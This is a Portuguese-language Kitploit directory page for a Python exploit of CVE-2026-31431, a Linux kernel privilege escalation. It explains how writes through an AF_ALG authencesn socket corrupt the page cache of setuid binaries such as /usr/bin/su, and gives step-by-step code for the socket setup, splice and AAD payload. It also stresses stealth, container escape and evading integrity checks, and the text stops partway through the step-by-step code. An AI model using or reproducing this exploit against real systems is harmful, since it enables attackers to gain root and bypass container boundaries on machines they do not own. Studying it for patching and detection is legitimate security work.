Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431-python-copyfail-POC — Exploit em Python para CVE-2026-31431, uma escalada de privilégios no kernel Linux por meio da corrupção do cache de páginas de binários setuid, alcançando acesso root. | Kitploit
Ferramentas/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingExploração de Binários
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
julichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Exploit em Python para CVE-2026-31431, uma escalada de privilégios no kernel Linux por meio da corrupção do cache de páginas de binários setuid, alcançando acesso root.

Ver Repositório
29há 5 mesesAinda não revisado

CVE-2026-31431: Copy Fail - Escalação de Privilégios no Kernel Linux

Copy Fail (CVE-2026-31431) é um bug lógico crítico no subsistema criptográfico do kernel Linux que permite que usuários sem privilégios alcancem escalação de privilégios para root. A vulnerabilidade afeta os kernels Linux 6.0.0 até 6.18.x em todas as principais distribuições.

Este repositório contém o exploit real que aciona a vulnerabilidade corrompendo o cache de páginas de binários setuid e executando código arbitrário com privilégios de root.


O que é Copy Fail?

Copy Fail é um bug lógico que permite que usuários sem privilégios escrevam blocos arbitrários de 4 bytes diretamente no cache de páginas do kernel de qualquer arquivo legível no sistema, incluindo binários setuid.

Características principais:

  • Determinístico: Não requer condições de corrida ou janelas de tempo
  • Portátil: O mesmo exploit funciona em todas as distribuições vulneráveis (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Furtivo: Arquivos em disco nunca são modificados; apenas o cache de páginas em memória é corrompido
  • Containerizado: Contorna os limites de containers, pois o cache de páginas é compartilhado entre o host e os containers
  • Simples: Requer apenas Python 3.10+ e módulos da biblioteca padrão

Detalhes Técnicos

A Causa Raiz: Operações AEAD In-Place

A vulnerabilidade decorre de uma otimização de 2017 em algif_aead.c (commit 72548b093ee3) que alterou as operações AEAD de out-of-place para in-place:

Antes (seguro - 2015):

TX Scatterlist (entrada)  ← buffer TX (dados do usuário do arquivo)
RX Scatterlist (saída) ← buffer RX (área de saída do usuário)
                          
Scatterlists separados = páginas do cache de páginas são somente leitura

Depois (vulnerável - 2017):

Scatterlist Combinado:
[ buffer RX ] [ Páginas do cache de páginas encadeadas via sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (MESMO scatterlist)

As páginas do cache de páginas agora estão em um scatterlist GRAVÁVEL!

O scatterlist combinado se parece com:

[AAD + Texto cifrado do buffer RX] || [Tag do cache de páginas de /usr/bin/su]
                                  ↑
                                  Limite
                                  (authencesn escreve ALÉM deste ponto)

O Gatilho: Escrita Temporária do Algoritmo authencesn

O algoritmo authencesn é um wrapper AEAD usado pelo IPsec para Extended Sequence Numbers (ESN). Ele realiza o cálculo de HMAC, mas precisa reorganizar bytes dentro do AAD (Associated Authenticated Data).

No código do kernel (crypto/authenc.c), durante a descriptografia:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // lê bytes AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // temporário: sobrescreve dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← LINHA CHAVE
                                                        // escreve 4 bytes em dst[assoclen+cryptlen]

O problema: A terceira escrita ocorre no deslocamento assoclen + cryptlen. No caminho in-place vulnerável:

  • Caso normal: Este deslocamento está dentro do buffer RX do usuário (inofensivo)
  • Caso vulnerável: Este deslocamento está além do buffer do usuário e cai nas páginas do cache de páginas encadeadas (CRÍTICO)

O kernel trata esta posição como "espaço temporário descartável" e escreve o valor ali permanentemente. Os bytes originais nesta posição no cache de páginas são perdidos para sempre.

A Cadeia de Ataque

1. Atacante abre socket AF_ALG → vincula a authencesn(hmac(sha256),cbc(aes))
   (Nenhum privilégio necessário; AF_ALG está disponível para usuários sem privilégios por padrão)

2. Atacante abre o arquivo alvo: /usr/bin/su (binário setuid-root)

3. Atacante usa splice() para entregar as páginas do cache de páginas de /usr/bin/su
   no socket AF_ALG como "texto cifrado" e "tag"
   
4. Atacante envia sendmsg() com AAD contendo:
   - Bytes 0-3: preenchimento
   - Bytes 4-7: seqno_lo = valor de 4 bytes a ser escrito (controlado pelo atacante)
   - Bytes 8+: preenchimento

5. Atacante chama recvmsg() que aciona a operação de descriptografia AEAD
   
   Dentro da descriptografia de authencesn no espaço do kernel:
   a) O kernel lê os bytes AAD 0-7
   b) O kernel escreve seqno_hi em dst[4..7] (temporário, depois restaurado)
   c) O kernel escreve seqno_lo em dst[assoclen + cryptlen]
      ↓
      ESTA ESCRITA CRUZA DO BUFFER DO USUÁRIO PARA AS PÁGINAS DO CACHE DE PÁGINAS
      ↓
      A escrita de 4 bytes no cache de páginas de /usr/bin/su ocorre AQUI
   d) O kernel calcula HMAC (falha na validação - o texto cifrado é fabricado)
   e) recvmsg() retorna erro
   
   MAS: A escrita de 4 bytes JÁ PERSISTE no cache de páginas

6. Atacante repete os passos 2-5 para cada bloco de 4 bytes do shellcode

7. Atacante executa /usr/bin/su
   - O kernel carrega o binário do CACHE DE PÁGINAS (que agora contém shellcode)
   - O binário é setuid-root
   - O shellcode executa com UID=0
   - O atacante tem acesso root

Por Que Isso Funciona

AspectoExplicação
Sem TravamentosA operação é concluída da perspectiva do kernel
DeterminísticoSem condições de corrida; síncrono e confiável
PersistenteA corrupção do cache de páginas sobrevive mesmo após o erro de recvmsg()
InvisívelO arquivo em disco não é tocado; ferramentas padrão de integridade não detectam nada
UniversalO mesmo código funciona em todas as distribuições; sem deslocamentos específicos por distribuição
PortátilFunciona nas arquiteturas x86-64 e ARM64

O Exploit: Passo a Passo

Passo 1: Configuração do Socket

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Socket de requisição para operações AEAD

Cria um socket AF_ALG vinculado ao template AEAD authencesn.

Passo 2: Abrir o Binário Alvo

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Abre o binário setuid que será corrompido. Qualquer arquivo legível funciona, mas binários setuid são escolhidos para escalação de privilégios.

Passo 3: Criar Pipe para Splice

pipe_rd, pipe_wr = os.pipe()

Cria um pipe que atuará como intermediário para operações de splice(). Os buffers do pipe manterão referências às páginas do cache de páginas.

Passo 4: Splice do Arquivo para o Pipe

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Usa splice() para transferir cryptlen bytes de /usr/bin/su começando em write_offset para o pipe.

Por que isso importa: splice() transfere dados entre descritores de arquivo sem copiar. Ele passa referências diretas às páginas do cache de páginas do kernel. Essas páginas permanecem na estrutura interna de buffer do pipe.

Passo 5: Criar Parâmetros AEAD

assoclen = 8          # Comprimento AAD: bytes 0-7
cryptlen = 32         # Comprimento do texto cifrado (== saída HMAC-SHA256)
authsize = 32         # Comprimento da tag
write_offset = 0x2000 # Deslocamento em /usr/bin/su para escrever

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

O AAD (Associated Authenticated Data) contém:

  • Bytes 0-3: Preenchimento
  • Bytes 4-7: O valor de 4 bytes a ser escrito (seqno_lo) ← Controlado pelo atacante
  • Resto: Preenchimento

O algoritmo authencesn usará os bytes 4-7 deste AAD em sua escrita temporária.

Passo 6: Enviar AAD

req_sock.sendmsg([aad], [], socket.MSG_MORE)

Envia o AAD para o socket AF_ALG. O flag MSG_MORE indica que o texto cifrado/tag virão em seguida.

Passo 7: Splice do Texto Cifrado+Tag para o Socket

os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Baixar ferramenta